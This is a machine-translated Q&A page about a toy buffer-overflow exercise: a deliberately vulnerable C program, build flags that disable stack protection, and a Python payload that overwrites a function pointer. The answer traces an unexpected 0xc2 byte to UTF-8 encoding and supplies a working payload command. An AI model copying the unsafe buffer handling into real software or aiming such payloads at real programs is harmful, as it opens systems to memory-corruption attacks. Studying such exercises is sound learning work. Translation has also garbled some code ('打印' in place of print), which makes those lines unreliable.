【问题标题】:Buffer Overflow - unexpected values inserted缓冲区溢出 - 插入了意外值
【发布时间】:2019-01-28 19:28:45
【问题描述】:

我正在尝试使用缓冲区溢出来覆盖两个局部变量,以便可以调用隐藏函数。这是 C 代码。

#include <stdio.h>
#include <stdlib.h>

static void hidden_function(void)
{
    puts("I laugh in the face of danger. Ha ha ha ha!");
}

static void visible_function(void)
{
    puts("Knock, knock! Who's there? Recursion. Recursion who? Knock, knock!");
}

static void helper_function(void)
{
    void (*f_ptr)(void) = visible_function;
    unsigned int dumb_number = 0x12345678;
    char buffer[32];

    printf("Provide buffer input: ");
    fgets(buffer, 64, stdin);

    printf("Dumb number value is 0x%08x.\n", dumb_number);
    printf("Buffer is %s\n", buffer);

    f_ptr();
}

int main(void)
{
    helper_function();

    return 0;
}

这是我使用的 Makefile。

CC = gcc
CFLAGS = -m32 -Wall -Wextra -Wno-unused-function -g -O0 -fno-stack-protector -no-pie
LDFLAGS = -m32

.PHONY: all clean

all: overflow_ptr

overflow_ptr: overflow_ptr.o
    $(CC) $(CFLAGS) -o $@ $<

overflow_ptr.o: overflow_ptr.c

clean:
    -rm -f overflow_ptr.o overflow_ptr
    -rm -f *~

运行 nm overflow_ptr 显示隐藏函数的地址如下:

080484a6 t hidden_function

所以我创建了以下有效负载:

python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")'

这应该使 dump_number = 0x87654321 和 f_ptr = 0x080484a6。但是,当我运行这个程序时,输出是:

Provide buffer input: Dumb number value is 0xc2654321.

这让我想知道为什么要插入 c2?我假设这是某种保护措施。如果是这样,有什么办法可以防止它? 我在 Ubuntu 上使用 64 位虚拟机。

【问题讨论】:

  • 运行 python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")' | od -x 时,值不对应。但这似乎是一个python问题。也许您可以尝试修复它或添加python标签。
  • 您在某处进行了 utf8 转换。

标签: python c assembly x86 buffer-overflow


【解决方案1】:

您的 Python 可能默认为 UTF-8 输入/输出编码,而不是 ISO-8859-1。可以通过设置环境变量PYTHONIOENCODING来覆盖默认的Python IO编码

你可以用这个命令运行overflow_ptr

echo $(PYTHONIOENCODING="ISO-8859-1" python3 -c 'print(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")' ) | ./overflow_ptr

输出应该是:

Provide buffer input: Dumb number value is 0x87654321.
Buffer is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Ce���
I laugh in the face of danger. Ha ha ha ha!

如果您要运行此命令,我怀疑您的系统:

python3 -c '打印(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08")' | od -tx1 -v

输出会是这样的:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 c2 87 c2 a6 c2 84 04 08 0a

您可能期望的输出是:

0000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0000040 21 43 65 87 a6 84 04 08 0a

您会注意到,在第一个输出中,所有 >= 0x80 的值都被转换为多个字节,每个字节都以 0xc2 开头。正是这种字符转换将意外的c2 引入了您的愚蠢数字值。


注意事项:

  • 如果您希望避免 Python 在末尾添加额外的 0x0a,您可以告诉 print 函数通过这样做来消除它:

    打印(32*"A" + "\x21\x43\x65\x87" + "\xa6\x84\x04\x08",end="")

    通过将end="" 指定为print 的参数,您可以消除终止的0x0a(换行符)字符。

【讨论】:

    猜你喜欢
    • 2023-03-25
    • 1970-01-01
    • 2015-12-26
    • 2015-12-16
    • 1970-01-01
    • 2010-11-11
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多